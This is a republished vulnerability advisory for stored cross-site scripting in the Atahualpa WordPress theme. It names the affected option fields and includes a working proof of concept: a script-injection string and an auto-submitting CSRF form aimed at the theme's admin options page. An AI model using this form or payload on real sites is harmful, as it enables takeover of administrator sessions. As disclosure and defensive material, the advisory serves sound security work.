WordPress Atahualpa Theme Cross Site Scripting

2017.03.03
Risk: Low
Local: No
Remote: Yes
CVE: N/A
CWE: CWE-79

------------------------------------------------------------------------ Cross-Site Scripting in Atahualpa WordPress Theme ------------------------------------------------------------------------ Spyros Gasteratos, July 2016 ------------------------------------------------------------------------ Abstract ------------------------------------------------------------------------ A number of Cross-Site Scripting vulnerabilities were found in the Atahualpa WordPress Theme. This issue allows an attacker to perform a wide variety of actions, such as stealing Administrators' session tokens, or performing arbitrary actions on their behalf. In order to exploit this issue, the attacker has to use the CSRF vulnerability described in SFY20160759 to trick the admin into storing malicious input. ------------------------------------------------------------------------ OVE ID ------------------------------------------------------------------------ OVE-20160724-0004 ------------------------------------------------------------------------ Tested versions ------------------------------------------------------------------------ This issue was successfully tested on Atahualpa WordPress Theme WordPress Theme. ------------------------------------------------------------------------ Fix ------------------------------------------------------------------------ There is currently no fix available. ------------------------------------------------------------------------ Details ------------------------------------------------------------------------ https://sumofpwn.nl/advisory/2016/cross_site_scripting_in_atahualpa_wordpress_theme.html Providing any of the following fields with string such as: "><script>alert(1);</script> results in the script element getting appended after the respective input element when the request returns from the server: "comment_feed_link", "home_cat_menu_bar", "email_subscribe_link", "home_single_next_prev", "email_subscribe_link_title", "feedburner_email_id", "excerpt_length", "page_menu_bar_link_color", "cat_menu_bar_background_color_parent", "cat_menu_bar_link_color", "left_col_pages_exclude", "widget_lists link-hover-color", "left_col2_cats_exclude" The solution to this issue is to encode as html all the user-provided parameters before they are returned to the browser. Proof of concept In order to reproduce the issue the following request can be replayed using the cookies of the current admin. <html> <body> <form action="https://play.sfy.nl/wp-admin/themes.php?page=atahualpa-options" method="POST"> <input type="hidden" name="widget_container" value="margin: 0 0 15px 0;"/> <input type="hidden" name="widget_title_box" value=""/> <input type="hidden" name="widget_title" value="font-size: 1.6em;&#13;font-weight: bold;"/> <input type="hidden" name="widget_content" value=""/> <input type="hidden" name="widget_lists[li-margin-left]" value="0"/> <input type="hidden" name="widget_lists[link-border-left-width]" value="7"/> <input type="hidden" name="widget_lists[link-border-left-color]" value="CCCCCC"/> <input type="hidden" name="widget_lists[link-border-left-hover-color]" value="000000"/> <input type="hidden" name="widget_lists[link-padding-left]" value="5"/> <input type="hidden" name="widget_lists[link-weight]" value="normal"/> <input type="hidden" name="widget_lists[link-color]" value="666666"/> <input type="hidden" name="widget_lists[link-hover-color]" value="000000"/> <input type="hidden" name="widget_lists2[li-margin-left]" value="5"/> <input type="hidden" name="widget_lists2[link-border-left-width]" value="7"/> <input type="hidden" name="widget_lists2[link-border-left-color]" value="CCCCCC"/> <input type="hidden" name="widget_lists2[link-border-left-hover-color]" value="000000"/> <input type="hidden" name="widget_lists2[link-padding-left]" value="5"/> <input type="hidden" name="widget_lists2[link-weight]" value="normal"/> <input type="hidden" name="widget_lists2[link-color]" value="666666"/> <input type="hidden" name="widget_lists2[link-hover-color]" value="000000"/> <input type="hidden" name="widget_lists3[li-margin-left]" value="5"/> <input type="hidden" name="widget_lists3[link-border-left-width]" value="7"/> <input type="hidden" name="widget_lists3[link-border-left-color]" value="CCCCCCw66ar&quot;><script>alert(1)</script>ljgl1"/> <input type="hidden" name="widget_lists3[link-border-left-hover-color]" value="000000"/> <input type="hidden" name="widget_lists3[link-padding-left]" value="5"/> <input type="hidden" name="widget_lists3[link-weight]" value="normal"/> <input type="hidden" name="widget_lists3[link-color]" value="666666"/> <input type="hidden" name="widget_lists3[link-hover-color]" value="000000"/> <input type="hidden" name="category_widget_display_type" value="inline"/> <input type="hidden" name="select_font_size" value="Default"/> <input type="hidden" name="save" value=""/> <input type="hidden" name="action" value="save"/> <input type="hidden" name="category" value="widgets"/> <input type="submit"/> </form> </body> </html>


Vote for this issue:
50%
50%


 

Thanks for you vote!


 

Thanks for you comment!
Your message is in quarantine 48 hours.

Comment it here.


(*) - required fields.  
{{ x.nick }} | Date: {{ x.ux * 1000 | date:'yyyy-MM-dd' }} {{ x.ux * 1000 | date:'HH:mm' }} CET+1
{{ x.comment }}

Copyright 2018, cxsecurity.com

 

Back to Top